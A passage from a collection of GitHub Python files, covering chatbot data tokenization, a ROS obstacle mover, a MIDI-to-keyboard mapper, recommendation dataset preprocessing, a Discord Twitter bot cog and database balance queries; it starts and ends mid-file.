integers, the token-ids for the sentence.\n \"\"\"\n\n if all_lowercase:\n sentence = sentence.lower()\n\n tokens = tokenizer(sentence)\n\n result = []\n for t in tokens:\n if normalize_digits:\n t = _DIGIT_RE.sub(b\"0\", t)\n id = vocabulary.get(t, UNK_ID)\n # Try uncapitalized version\n if id == UNK_ID and not all_lowercase:\n id = vocabulary.get(t.lower(), UNK_ID)\n result.append(id)\n return result\n\n\ndef maybe_data_to_token_ids(data_path, target_path, vocabulary_path, tokenizer,\n all_lowercase=True, normalize_digits=True):\n \"\"\"Tokenize data file and turn into token-ids using given vocabulary file.\n\n This function loads data line-by-line from data_path, calls the above\n sentence_to_token_ids, and saves the result to target_path. See comment\n for sentence_to_token_ids on the details of token-ids format.\n\n Args:\n data_path: path to the data file in one-sentence-per-line format.\n target_path: path where the file with token-ids will be created.\n vocabulary_path: path to the vocabulary file.\n tokenizer: a function to use to tokenize each sentence.\n all_lowercase: Boolean; if true, all text will be converted to lowercase.\n normalize_digits: Boolean; if true, all digits are replaced by 0s.\n \"\"\"\n if not tf.gfile.Exists(target_path):\n print(\"Tokenizing data in %s\" % data_path)\n vocab, _ = initialize_vocabulary(vocabulary_path)\n with tf.gfile.Open(data_path, mode=\"rb\") as data_file:\n with tf.gfile.GFile(target_path, mode=\"w\") as tokens_file:\n counter = 0\n for line in data_file:\n # Remove newline\n line = line[:-1]\n counter += 1\n if counter % 100000 == 0:\n print(\" tokenizing line %d\" % counter)\n token_ids = sentence_to_token_ids(line, vocab, tokenizer, all_lowercase, normalize_digits)\n tokens_file.write(\" \".join([str(tok) for tok in token_ids]) + \"\\n\")\n\n\ndef read_data(dialogue_file, buckets, max_lines=None, start_reading_at=0):\n \"\"\"Read data from a dialogue file and put it into buckets.\n Append EOS_ID to each output sentence.\n\n Args:\n dialogue_file: a file containing text converted to token-ids.\n buckets: an array containing the sizes of the buckets, in which to put the data\n max_lines: maximum number of lines to read, all other will be ignored;\n if 0 or None, data files will be read completely (no limit).\n start_reading_at: Start reading from the file from this line onwards\n\n Returns:\n data_set: a list of length len(_buckets); data_set[n] contains a list of\n (input, output) pairs read from the provided data file that fit\n into the n-th bucket, i.e., such that len(input) < _buckets[n][0] and\n len(output) < _buckets[n][1]; input and output are lists of token-ids.\n \"\"\"\n data_set = [[] for _ in buckets]\n with tf.gfile.Open(dialogue_file, 'r') as f:\n for x in xrange(0, start_reading_at):\n f.readline()\n input_sentence = f.readline()\n output_sentence = f.readline()\n count = 0\n while input_sentence and output_sentence and (not max_lines or count < max_lines):\n count += 1\n if count % 500000 == 0:\n print(\" reading data line %d\" % count)\n sys.stdout.flush()\n\n input_sentence_ids = [int(x) for x in input_sentence.split()]\n output_sentence_ids = [int(x) for x in output_sentence.split()]\n output_sentence_ids.append(EOS_ID)\n\n for bucket_id, (input_size, output_size) in enumerate(buckets):\n if len(input_sentence_ids) < input_size and len(output_sentence_ids) < output_size:\n data_set[bucket_id].append([input_sentence_ids, output_sentence_ids])\n break\n\n input_sentence = output_sentence\n output_sentence = f.readline()\n return data_set\n\n\ndef get_encoded_data(data_dir, vocab_dir, vocab_size, tokenizer):\n \"\"\"Get the paths to the files containing the training and test data in id-form.\n Make those files, in the case that they are not already available, using the plain text data.\n Download those plain text data files if needed.\n\n By 'encoded', I mean that the data doesn't consist of human-readable characters and words, but of\n numbers which represent the index of those characters or words in the vocabulary.\n\n Args:\n data_dir: The directory where the data in PLAIN TEXT should be or are stored.\n vocab_dir: The directory where the data in ID-FORM and the vocab should be or are stored.\n vocab_size: The maximum size of the vocabulary, used when creating a new vocabulary is necessary.\n tokenizer: The tokenizer to tokenize the plain text, before creating a vocabulary and putting the data\n into id-form.\n\n Returns:\n A tuple containing the paths to the 1) encoded training data\n \"\"\"\n train_ids_path = os.path.join(vocab_dir, \"train_ids%d\" % vocab_size)\n test_ids_path = os.path.join(vocab_dir, \"test_ids%d\" % vocab_size)\n vocab_path = os.path.join(vocab_dir, \"vocab%d\" % vocab_size)\n\n if not (tf.gfile.Exists(train_ids_path) and tf.gfile.Exists(test_ids_path)):\n # if not use_words and vocab_size == 60: # Because uploading the plain text files to GCS bucket is faster\n if False:\n # I have already put a tokenized version of the dataset online with vocab=60, so better download that\n print(\"Downloading already vocabularized character data files with vocab_size=60\")\n train_ids_path, test_ids_path, vocab_path = opensubtitles_util.get_encoded_data(vocab_dir)\n else:\n print(\"Downloading plain text data set\")\n train_file, test_file = opensubtitles_util.get_data(data_dir)\n print(\"Tokenizing and vocabularizing data sets\")\n\n maybe_create_vocabulary(vocab_path, test_file, vocab_size, tokenizer)\n maybe_data_to_token_ids(train_file, train_ids_path, vocab_path, tokenizer)\n maybe_data_to_token_ids(test_file, test_ids_path, vocab_path, tokenizer)\n\n return train_ids_path, test_ids_path\n\n\ndef prepare_dialogue_data(use_words, data_dir, vocab_size, buckets, max_read_train_data=0, max_read_test_data=0,\n start_read_train_data=0, start_read_test_data=0,\n read_again=False, save=True, tokenizer=None):\n \"\"\"From the dialogue files, create vocabularies and tokenize data in data_dir.\n\n Args:\n use_words: True if tokenizing into words, False if tokenizing into characters.\n data_dir: directory in which the data and vocab will be stored.\n buckets: an array containing the sizes of the buckets, in which to put the data\n max_read_train_data: maximum amount of lines of training data to be read into buckets,\n if data is going to be put into buckets again (not if the data is already in\n buckets and read from a np.save file)\n max_read_test_data: maximum amount of lines of test data to be read into buckets,\n if data is going to be put into buckets again (not if the data is already in\n buckets and read from a np.save file)\n start_read_train_data: Start reading from the training data from this line on\n start_read_test_data: Start reading from the test data from this line on\n read_again: Whether to read the data into buckets again (True) or to load from an np.save file,\n if available\n save: True if you want to save the read-again data and thereby replace the old np.save file\n vocab_size: maximum size of the vocab to create and/or use.\n tokenizer: a function to use to tokenize each data sentence;\n if None, tokenizer will be determined by use_words parameter.\n\n Returns:\n A tuple of 2 elements:\n (1) (numpy-)array containing the training data in buckets;\n (2) (numpy-)array containing the test data in buckets.\n \"\"\"\n # Define tokenizer\n if tokenizer is None:\n tokenizer = basic_word_tokenizer if use_words else basic_character_tokenizer\n\n # The directory to put in the files which depend on the tokenizer and vocab.\n vocab_dir = os.path.join(data_dir, \"word\" if use_words else \"char\")\n\n # Create directories\n if not tf.gfile.Exists(data_dir):\n tf.gfile.MkDir(data_dir)\n if not tf.gfile.Exists(vocab_dir):\n tf.gfile.MkDir(vocab_dir)\n\n # Paths to the files containing the numpy arrays of the training and test data, in buckets.\n train_ids_pickle_path = os.path.join(vocab_dir, \"train_ids%d_array\" % vocab_size)\n test_ids_pickle_path = os.path.join(vocab_dir, \"test_ids%d_array\" % vocab_size)\n\n # Get train data array\n if read_again or not tf.gfile.Exists(train_ids_pickle_path):\n print(train_ids_pickle_path)\n train_ids_path, _ = get_encoded_data(data_dir, vocab_dir, vocab_size, tokenizer)\n print(\"Reading training data into buckets, limit: %d\" % max_read_train_data)\n train_ids_array = read_data(train_ids_path, buckets, max_read_train_data, start_read_train_data)\n if save:\n print(\"Saving training data arrays to pickle file %s \" % train_ids_pickle_path)\n if tf.gfile.Exists(train_ids_pickle_path):\n tf.gfile.Remove(train_ids_pickle_path)\n # pickle.dump(train_ids_array, tf.gfile.Open(train_ids_pickle_path, 'w'))\n np.save(tf.gfile.Open(train_ids_pickle_path, 'w'), train_ids_array)\n else:\n print(\"Loading training data arrays from pickle file %s \" % train_ids_pickle_path)\n train_ids_array = np.load(train_ids_pickle_path)\n # I tried using np.load(tf.gfile.Open(train_ids_pickle_path)) for GCS bucket compatibility.\n # However, then numpy throws an error. So better use this locally only and not with Cloud ML.\n # When using Cloud ML, set --save_pickles to false (default).\n # Same for the test_ids_pickle_path, below.\n\n # Get test data array\n if read_again or not os.path.exists(test_ids_pickle_path):\n _, test_ids_path = get_encoded_data(data_dir, vocab_dir, vocab_size, tokenizer)\n print(\"Reading test data into buckets, limit: %d\" % max_read_test_data)\n test_ids_array = read_data(test_ids_path, buckets, max_read_test_data, start_read_test_data)\n if save:\n print(\"Saving test data arrays to pickle file %s\" % test_ids_pickle_path)\n if tf.gfile.Exists(test_ids_pickle_path):\n tf.gfile.Remove(test_ids_pickle_path)\n # pickle.dump(test_ids_array, tf.gfile.Open(test_ids_pickle_path, 'w'))\n np.save(tf.gfile.Open(test_ids_pickle_path, 'w'), test_ids_array)\n else:\n print(\"Loading test data arrays from pickle file %s\" % test_ids_pickle_path)\n test_ids_array = np.load(test_ids_pickle_path)\n\n return train_ids_array, test_ids_array\n","repo_name":"teinvdlugt/PWS","sub_path":"chatbot/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":17510,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"25366485952","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom geometry_msgs.msg import Twist\n\nclass ObstacleMover:\n def __init__(self):\n rospy.init_node('obstacle_mover')\n # Change the topic to match your robot's velocity command topic\n self.pub = rospy.Publisher('/dynamic_sphere/cmd_vel', Twist, queue_size=10)\n self.rate = rospy.Rate(10) # 10 Hz\n self.distance = 3 # meters\n self.speed = 0.6 # meters per second\n\n def move_straight(self, forward):\n vel_cmd = Twist()\n # Positive x is forward, negative x is backward\n vel_cmd.linear.x = self.speed if forward else -self.speed\n distance_moved = 0.0\n\n while distance_moved < self.distance:\n self.pub.publish(vel_cmd)\n self.rate.sleep()\n distance_moved += self.speed / 10.0\n\n # Stop the robot\n vel_cmd.linear.x = 0\n self.pub.publish(vel_cmd)\n\n def turn(self, clockwise):\n vel_cmd = Twist()\n # Positive z is left turn, negative z is right turn\n vel_cmd.angular.z = -1.57 if clockwise else 1.57 # 90 degrees in radians\n self.pub.publish(vel_cmd)\n # Adjust sleep time if necessary for a 90-degree turn\n rospy.sleep(1)\n\n # Stop the turn\n vel_cmd.angular.z = 0\n self.pub.publish(vel_cmd)\n\n def run(self):\n while not rospy.is_shutdown():\n # Move straight then turn left\n self.move_straight(True)\n self.turn(False) # False for counter-clockwise turn (left)\n self.move_straight(True)\n\n # Move backward then turn right\n self.move_straight(False)\n self.turn(True) # True for clockwise turn (right)\n self.move_straight(False)\n\nif __name__ == '__main__':\n mover = ObstacleMover()\n mover.run()\n","repo_name":"js073/rubbish_robot_project","sub_path":"obstacle_mover.py","file_name":"obstacle_mover.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8129399045","text":"import rtmidi\r\nimport keyboard\r\nimport time\r\n\r\n# Map MIDI note numbers to ASCII key codes\r\nnote_to_key = {\r\n 36: '1', # C2\r\n 38: '2', # D2\r\n 40: '3', # E2\r\n 41: '4', # F2\r\n 43: '5', # G2\r\n 45: '6', # A2\r\n 47: '7', # B2\r\n 48: '1', # C3\r\n 50: '2', # D3\r\n 52: '3', # E3\r\n 53: '4', # F3\r\n 55: '5', # G3\r\n 57: '6', # A3\r\n 59: '7', # B3\r\n 60: '1', # C4\r\n 62: '2', # D4\r\n 64: '3', # E4\r\n 65: '4', # F4\r\n 67: '5', # G4\r\n 69: '6', # A4\r\n 71: '7', # B4\r\n 72: '1', # C5\r\n 74: '2', # D5\r\n 76: '3', # E5\r\n 77: '4', # F5\r\n 79: '5', # G5\r\n 81: '6', # A5\r\n 83: '7', # B5\r\n}\r\n\r\ndef on_message(msg):\r\n if msg[0] == 144 and msg[2] > 0: # note_on event\r\n print(\"Received MIDI note:\", msg[1]) # Print the received MIDI note\r\n key = note_to_key.get(msg[1])\r\n if key:\r\n print(\"Mapped to key:\", key) # Print the mapped key\r\n keyboard.press_and_release(key)\r\n time.sleep(0.1)\r\n\r\nmidi_in = rtmidi.MidiIn()\r\nports = midi_in.get_ports()\r\n\r\nif not ports:\r\n print(\"No MIDI input ports available. Exiting.\")\r\n exit(1)\r\n\r\nprint(\"Available MIDI input ports:\")\r\nfor i, port in enumerate(ports):\r\n print(f\"[{i}] {port}\")\r\n\r\nport_idx = int(input(\"Select the MIDI input port index: \"))\r\n\r\nmidi_in.open_port(port_idx)\r\n\r\nprint(\"Listening for MIDI input. Press Ctrl+C to exit.\")\r\ntry:\r\n while True:\r\n msg = midi_in.get_message()\r\n if msg:\r\n on_message(msg[0])\r\n time.sleep(0.001)\r\nexcept KeyboardInterrupt:\r\n pass\r\n\r\nmidi_in.close_port()\r\nprint(\"Closed MIDI input.\")\r\n","repo_name":"nebulusneighbor/Color_Music_Exp","sub_path":"MIDItoASCII.py","file_name":"MIDItoASCII.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42777518958","text":"import pandas as pd\nimport numpy as np\nimport datetime as dt\nfrom pathlib import Path\nimport pickle as pkl\nimport pdb\n\ndef get_session_id(df, interval):\n df_prev = df.shift()\n is_new_session = (df.userId != df_prev.userId) | (\n df.timestamp - df_prev.timestamp > interval\n )\n session_id = is_new_session.cumsum() - 1\n return session_id\n\n\ndef group_sessions(df, interval):\n sessionId = get_session_id(df, interval)\n df = df.assign(sessionId=sessionId)\n return df\n\n\ndef filter_short_sessions(df, min_len=2):\n session_len = df.groupby('sessionId', sort=False).size()\n long_sessions = session_len[session_len >= min_len].index\n df_long = df[df.sessionId.isin(long_sessions)]\n return df_long\n\n\ndef filter_infreq_items(df, min_support=5):\n item_support = df.groupby('itemId', sort=False).size()\n freq_items = item_support[item_support >= min_support].index\n df_freq = df[df.itemId.isin(freq_items)]\n return df_freq\n\n\ndef filter_until_all_long_and_freq(df, min_len=2, min_support=5):\n while True:\n df_long = filter_short_sessions(df, min_len)\n df_freq = filter_infreq_items(df_long, min_support)\n if len(df_freq) == len(df):\n break\n df = df_freq\n return df\n\n\ndef truncate_long_sessions(df, max_len=20, is_sorted=False):\n if not is_sorted:\n df = df.sort_values(['sessionId', 'timestamp'])\n itemIdx = df.groupby('sessionId').cumcount()\n df_t = df[itemIdx < max_len]\n return df_t\n\n\ndef update_id(df, field):\n labels, uniques = pd.factorize(df[field])\n kwargs = {field: labels}\n if field == 'itemId':\n oid2aid = {oid:aid for oid, aid in enumerate(uniques)}\n with open('oid2aid.pkl', 'wb') as f:\n pkl.dump(oid2aid, f)\n df = df.assign(**kwargs)\n return df\n\n\ndef remove_immediate_repeats(df):\n df_prev = df.shift()\n is_not_repeat = (df.sessionId != df_prev.sessionId) | (df.itemId != df_prev.itemId)\n df_no_repeat = df[is_not_repeat]\n return df_no_repeat\n\n\ndef reorder_sessions_by_endtime(df):\n endtime = df.groupby('sessionId', sort=False).timestamp.max()\n df_endtime = endtime.sort_values().reset_index()\n oid2nid = dict(zip(df_endtime.sessionId, df_endtime.index))\n sessionId_new = df.sessionId.map(oid2nid)\n df = df.assign(sessionId=sessionId_new)\n df = df.sort_values(['sessionId', 'timestamp'])\n return df\n\n\ndef keep_top_n_items(df, n):\n item_support = df.groupby('itemId', sort=False).size()\n top_items = item_support.nlargest(n).index\n df_top = df[df.itemId.isin(top_items)]\n return df_top\n\n\ndef split_by_time(df, timedelta, yoochoose=False):\n max_time = df.timestamp.max()\n end_time = df.groupby('sessionId').timestamp.max()\n split_time = max_time - timedelta\n train_sids = end_time[end_time < split_time].index\n if yoochoose:\n end_time_train = end_time[end_time.index.isin(train_sids)]\n end_time_train = end_time_train.sort_values()\n cutoff_1_64 = len(end_time_train)//64\n cutoff_1_4 = len(end_time_train)//4\n train_sids_1_64 = end_time_train.index[-cutoff_1_64:]\n train_sids_1_4 = end_time_train.index[-cutoff_1_4:]\n df_test = df[~df.sessionId.isin(train_sids)]\n df_train_1_64 = df[df.sessionId.isin(train_sids_1_64)]\n df_train_1_4 = df[df.sessionId.isin(train_sids_1_4)]\n return df_train_1_4, df_train_1_64, df_test\n else:\n df_train = df[df.sessionId.isin(train_sids)]\n df_test = df[~df.sessionId.isin(train_sids)]\n return df_train, df_test\n\n\ndef train_test_split(df, test_split=0.2):\n endtime = df.groupby('sessionId', sort=False).timestamp.max()\n endtime = endtime.sort_values()\n num_tests = int(len(endtime) * test_split)\n test_session_ids = endtime.index[-num_tests:]\n df_train = df[~df.sessionId.isin(test_session_ids)]\n df_test = df[df.sessionId.isin(test_session_ids)]\n return df_train, df_test\n\ndef valid_split(df, valid_split=0.2):\n endtime = df.groupby('sessionId', sort=False).timestamp.max()\n endtime = endtime.sort_values()\n num_valid = int(len(endtime) * valid_split)\n valid_session_ids = endtime.index[-num_valid:]\n df_train_valid = df[~df.sessionId.isin(valid_session_ids)]\n df_test_valid = df[df.sessionId.isin(valid_session_ids)]\n return df_train_valid, df_test_valid\n\n\ndef save_sessions(df, filepath):\n df = reorder_sessions_by_endtime(df)\n sessions = df.groupby('sessionId').itemId.apply(lambda x: ','.join(map(str, x)))\n sessions.to_csv(filepath, sep='\\t', header=False, index=False)\n\n\ndef save_dataset(dataset_dir, df_train, df_test, yoochoose=0, valid=0):\n # filter items in test but not in train\n df_test = df_test[df_test.itemId.isin(df_train.itemId.unique())]\n df_test = filter_short_sessions(df_test)\n\n if not valid:\n print(f'No. of Clicks: {len(df_train) + len(df_test)}')\n print(f'No. of Items: {df_train.itemId.nunique()}')\n else:\n print(f'No. of Clicks in validation: {len(df_train) + len(df_test)}')\n print(f'No. of Items in validation: {df_train.itemId.nunique()}')\n\n #train and validation share same index\n # update itemId\n train_itemId_new, uniques = pd.factorize(df_train.itemId)\n #shift by 1\n train_itemId_new += 1\n df_train = df_train.assign(itemId=train_itemId_new)\n #shift by 1\n oid2nid = {oid: i+1 for i, oid in enumerate(uniques)}\n test_itemId_new = df_test.itemId.map(oid2nid)\n df_test = df_test.assign(itemId=test_itemId_new)\n if not valid:\n nid2oid = {v:k for k, v in oid2nid.items()}\n with open('nid2oid.pkl', 'wb') as f:\n pkl.dump(nid2oid, f)\n\n num_items = len(uniques)\n if yoochoose == 1:\n dataset_dir = Path(str(dataset_dir)+'1_4')\n elif yoochoose == 2:\n dataset_dir = Path(str(dataset_dir)+'1_64')\n print(f'saving dataset to {dataset_dir}')\n dataset_dir.mkdir(parents=True, exist_ok=True)\n if not valid:\n save_sessions(df_train, dataset_dir / 'train.txt')\n save_sessions(df_test, dataset_dir / 'test.txt')\n with open(dataset_dir / 'num_items.txt', 'w') as f:\n f.write(str(num_items))\n else:\n save_sessions(df_train, dataset_dir / 'train_valid.txt')\n save_sessions(df_test, dataset_dir / 'test_valid.txt')\n with open(dataset_dir / 'num_items_valid.txt', 'w') as f:\n f.write(str(num_items))\n\n\ndef preprocess_diginetica(dataset_dir, csv_file):\n print(f'reading {csv_file}...')\n df = pd.read_csv(\n csv_file,\n usecols=[0, 2, 3, 4],\n delimiter=';',\n parse_dates=['eventdate'],\n infer_datetime_format=True,\n )\n print('start preprocessing')\n # timeframe (time since the first query in a session, in milliseconds)\n df['timestamp'] = pd.to_timedelta(df.timeframe, unit='ms') + df.eventdate\n df = df.drop(['eventdate', 'timeframe'], 1)\n df = df.sort_values(['sessionId', 'timestamp'])\n df = filter_short_sessions(df)\n df = truncate_long_sessions(df, is_sorted=True)\n df = filter_infreq_items(df)\n df = filter_short_sessions(df)\n df_train, df_test = split_by_time(df, pd.Timedelta(days=7))\n df_train_valid, df_test_valid = valid_split(df_train)\n save_dataset(dataset_dir, df_train, df_test)\n save_dataset(dataset_dir, df_train_valid, df_test_valid, valid=1)\n\ndef preprocess_yoochoose(dataset_dir, csv_file):\n print(f'reading {csv_file}...')\n df = pd.read_csv(\n csv_file,\n usecols=[0, 1, 2, 3],\n delimiter=',',\n parse_dates=['timestamp'],\n infer_datetime_format=True,\n )\n print('start preprocessing')\n df['timestamp'] = df.timestamp.apply(lambda x: x.timestamp())\n df = df.drop(['categoryId'], 1)\n df = df.sort_values(['sessionId', 'timestamp'])\n df = filter_short_sessions(df)\n df = filter_infreq_items(df)\n df = filter_short_sessions(df)\n df_train_1_4, df_train_1_64, df_test = split_by_time(df, 86400, yoochoose=True)\n df_train_1_4_valid, df_test_1_4_valid = valid_split(df_train_1_4)\n df_train_1_64_valid, df_test_1_64_valid = valid_split(df_train_1_64)\n save_dataset(dataset_dir, df_train_1_4, df_test, yoochoose=1)\n save_dataset(dataset_dir, df_train_1_64, df_test, yoochoose=2)\n save_dataset(dataset_dir, df_train_1_4_valid, df_test_1_4_valid, yoochoose=1, valid=1)\n save_dataset(dataset_dir, df_train_1_64_valid, df_test_1_64_valid, yoochoose=2, valid=1)\n\ndef preprocess_gowalla_lastfm(dataset_dir, csv_file, usecols, interval, n):\n print(f'reading {csv_file}...')\n df = pd.read_csv(\n csv_file,\n sep='\\t',\n header=None,\n names=['userId', 'timestamp', 'itemId'],\n usecols=usecols,\n parse_dates=['timestamp'],\n infer_datetime_format=True,\n )\n print('start preprocessing')\n df = df.dropna()\n df = update_id(df, 'userId')\n df = update_id(df, 'itemId')\n df = df.sort_values(['userId', 'timestamp'])\n\n df = group_sessions(df, interval)\n df = remove_immediate_repeats(df)\n df = truncate_long_sessions(df, is_sorted=True)\n df = keep_top_n_items(df, n)\n df = filter_until_all_long_and_freq(df)\n df_train, df_test = train_test_split(df, test_split=0.2)\n df_train_valid, df_test_valid = valid_split(df_train)\n save_dataset(dataset_dir, df_train, df_test)\n save_dataset(dataset_dir, df_train_valid, df_test_valid, valid=1)\n","repo_name":"ninglab/P2MAM","sub_path":"preprocess/utils/data/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":9388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"73689846222","text":"from __future__ import (absolute_import, division, print_function, \n unicode_literals, generators, nested_scopes, with_statement)\nfrom builtins import (bytes, dict, int, list, object, range, str, ascii,\n chr, hex, input, next, oct, open, pow, round, super, filter, map, zip)\n# The above imports should allow this program to run in both Python 2 and\n# Python 3. You might need to update your version of module \"future\".\nimport math\n\n\nNEGATIVE_INFINITY=float(\"-inf\")\n\n\ndef sumLogProbs_ordered(largerValue,smallerValue):\n if(smallerValue==NEGATIVE_INFINITY): return largerValue\n return largerValue+math.log(1+math.exp(smallerValue-largerValue))\n\n\n\ndef sumLogProbs2(logP,logQ):\n if(logP>logQ): return sumLogProbs_ordered(logP,logQ)\n return sumLogProbs_ordered(logQ,logP)\n\n\n\ndef sumLogProbs(x):\n n=len(x)\n if(n==1): return x[0]\n if(n==0): return NEGATIVE_INFINITY\n \n # Pull out the largest value\n largestValue=x[0]\n for v in x:\n if(v>largestValue): largestValue=v\n\n # Handle the case of all zeros separately\n if(largestValue==NEGATIVE_INFINITY): return NEGATIVE_INFINITY\n\n # Apply the Kingsbury-Raynor formula\n sum=0.0;\n for v in x:\n if(v==NEGATIVE_INFINITY): continue\n sum+=math.exp(v-largestValue)\n return largestValue+math.log(sum)\n\n\n#v=[math.log(0.0001),math.log(0.0002),math.log(0.0003)]\n#print(math.exp(sumLogProbs2(math.log(0.1),math.log(0.2))))\n#print(math.exp(sumLogProbs(v)))\n\n\n","repo_name":"bmajoros/python","sub_path":"SumLogProbs.py","file_name":"SumLogProbs.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72220586063","text":"import discord, json\nimport tweepy, pathlib\nfrom discord.ext import commands\n\nBASE_DIR = pathlib.Path(__file__).parent # base directory\nTOKEN_DIR = BASE_DIR.parent / \"token\" # token directory a.k.a parent dir\n\n# Getting keys for tweepy\nwith open(f\"{TOKEN_DIR}\\\\token.json\") as f:\n tokens = json.load(f)\n bearer_token = tokens[\"bearer_token\"]\n api_key = tokens[\"api_key\"]\n api_key_secret = tokens[\"api_key_secret\"]\n access_token = tokens[\"access_token\"]\n access_token_secret = tokens[\"access_token_secret\"]\n# End of getting keys for tweepy\n\n\n# AUTHENTICATION PROCESS\nauth = tweepy.OAuthHandler(api_key, api_key_secret)\nauth.set_access_token(access_token, access_token_secret)\nclient = tweepy.Client(\n bearer_token, api_key, api_key_secret, access_token, access_token_secret\n)\nauth1 = tweepy.OAuth1UserHandler(\n api_key, api_key_secret, access_token, access_token_secret\n)\napi_1 = tweepy.API(auth1)\napi_2 = tweepy.Client(bearer_token=bearer_token, wait_on_rate_limit=True)\n# END OF AUTHENTICATION\n\n\n# for getting name in twitter\ndef getname(id):\n response = api_2.get_tweet(\n id=id, expansions=[\"author_id\"], user_fields=[\"username\"]\n )\n return response.includes[\"users\"][0].username # type: ignore\n\n\n# end getting name in twitter\n\n\n# getting twitter id\ndef getid(id):\n user = api_2.get_user(username=id)\n return user[0].id # type: ignore\n\n\n# end getting twitter id\n\n\nclass twitter(commands.Cog):\n def __init__(self, client):\n self.client = client\n\n @commands.Cog.listener()\n async def on_ready(self):\n print(\"twitter loaded!\")\n\n # TWITTER TIMELINE USER \n @commands.command(help='n.twtimeline <@nama yang ingin dicari>')\n async def twtimeline(self, ctx, *, args):\n final = \"\"\n sea = api_1.user_timeline(user_id=getid(args))\n embed = discord.Embed(\n title=f\"Getting {args}'s twitter timeline!\", colour=discord.Colour.blue()\n )\n if len(sea) == 0:\n embed.add_field(name=\"Nothing Found!\", value=\"\\u200b\")\n else:\n await ctx.send(f\"Getting {args}'s twitter timeline!\")\n for t in sea[: len(sea) if len(sea) <= 5 else 5]:\n date = t.created_at.strftime(\"%Y-%m-%d at %H:%M\")\n if (\n len(final)\n + len(date + \"\\n\" + t.text + \"\\n=============end===========\\n\")\n < 2000\n ):\n final = final + (\n date + \"\\n\" + t.text + \"\\n=============end===========\\n\"\n )\n else:\n embed.add_field(name=\"\\u200b\", value=final, inline=False)\n final = \"\" + (\n date + \"\\n\" + t.text + \"\\n=============end===========\\n\"\n )\n if len(final) != 0:\n embed.add_field(name=\"\\u200b\", value=final, inline=False)\n await ctx.send(embed=embed)\n # END Twitter timeline user\n\n\n #twitter tweet past 7 days\n @commands.command(help=\"n.twtweet \")\n async def twtweet(self, ctx, *, args):\n final = \"\"\n query = f\"{args} -is:retweet \"\n limit = 5\n embed = discord.Embed(\n title=f\"Getting {args} in past 7 days\", colour=discord.Colour.blue()\n )\n response = tweepy.Paginator(\n api_2.search_recent_tweets,\n query=query,\n max_results=100,\n tweet_fields=[\"created_at\", \"author_id\"],\n ).flatten(limit=limit)\n for tweet in response:\n limit -= 1\n date = tweet.created_at.strftime(\"%m-%d %H:%M\")\n code = \"@\" + getname(tweet.id) + \" at \" + str(date)\n if (\n len(\n final\n + code\n + \"\\nTweeted :\\n\"\n + tweet.text.strip()\n + \"\\n=======end tweet========\\n\"\n )\n < 1024\n ):\n final = (\n final\n + code\n + \"\\nTweeted :\\n\"\n + tweet.text.strip()\n + \"\\n=======end tweet========\\n\"\n )\n else:\n embed.add_field(name=\"\\u200b\", value=\"\\u200b\")\n embed.add_field(name=\"\\u200b\", value=final, inline=False)\n final = (\n \"\"\n + code\n + \"\\nTweeted :\\n\"\n + tweet.text.strip()\n + \"\\n=======end tweet========\\n\"\n )\n\n if limit == 5:\n embed.add_field(name=\"Nothing Found!\", value=\"\\u200b\", inline=False)\n else:\n embed.add_field(name=\"\\u200b\", value=final, inline=False)\n await ctx.send(embed=embed)\n #end twitter tweet\n\n #twitter trending in 7 days\n @commands.command(help=\"n.twtrend (Top 7 Trending in Twitter Indonesia)\")\n async def twtrend(self, ctx):\n embed = discord.Embed(\n title=f\"7 Trending News in Indonesia!\", colour=discord.Colour.blue()\n )\n final = \"\"\n response = api_1.get_place_trends(id=1044316)\n for t in response:\n for a, u in enumerate(t[\"trends\"][:7]):\n final = final + (\n f\"{a+1}. \"\n + (u[\"name\"] if u[\"name\"][0] != \"#\" else u[\"name\"][1:])\n + \"\\n\"\n )\n embed.add_field(name=\"\\u200b\", value=final, inline=False)\n await ctx.send(embed=embed)\n #end twitter trending 7 days\n\n\nasync def setup(client):\n await client.add_cog(twitter(client))\n","repo_name":"LvnnnX/discord_bot","sub_path":"Commands/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":5660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23229119490","text":"from decimal import Decimal\nfrom typing import List, Tuple\n\nfrom sqlalchemy import select, or_, desc, true\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy.orm import joinedload\n\nfrom bot.balance.models import Transaction\nfrom bot.user.models import User\n\n\nasync def get_user_balance(session: AsyncSession, user_id: int) -> Decimal:\n query = select(User.balance).where(User.id == user_id)\n result = await session.execute(query)\n return result.scalars().first()\n\n\nasync def get_all_users_balance(session: AsyncSession) -> List[Tuple[str, Decimal]]:\n query = select([User.identifier, User.balance])\n result = await session.execute(query)\n return result.all()\n\n\nasync def get_user_transactions(\n session: AsyncSession, user: User, limit: int = 50, offset: int = 0\n) -> List[Transaction]:\n query = (\n select(Transaction)\n .where(\n Transaction.is_active == true(),\n Transaction.id <= offset,\n or_(Transaction.sender == user.id, Transaction.receiver == user.id),\n )\n .order_by(desc(Transaction.id))\n .limit(limit)\n .options(joinedload(Transaction.sender_obj))\n .options(joinedload(Transaction.receiver_obj))\n )\n result = await session.execute(query)\n return result.scalars().all()\n","repo_name":"Bloodielie/trip_counter","sub_path":"bot/balance/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34901516380","text":"from domain.odu import ODUResult\nfrom service.method import runge\nfrom math import ceil\n\n\ndef solve(f, initial_conditions, h, bounds, accuracy):\n n = ceil((bounds[1] - bounds[0]) / h) + 1\n if n < 4:\n return ODUResult([], [])\n\n x = [bounds[0] + h * i for i in range(n)]\n\n first_dots: ODUResult = runge.solve(f, initial_conditions, h, [x[0], x[3]], 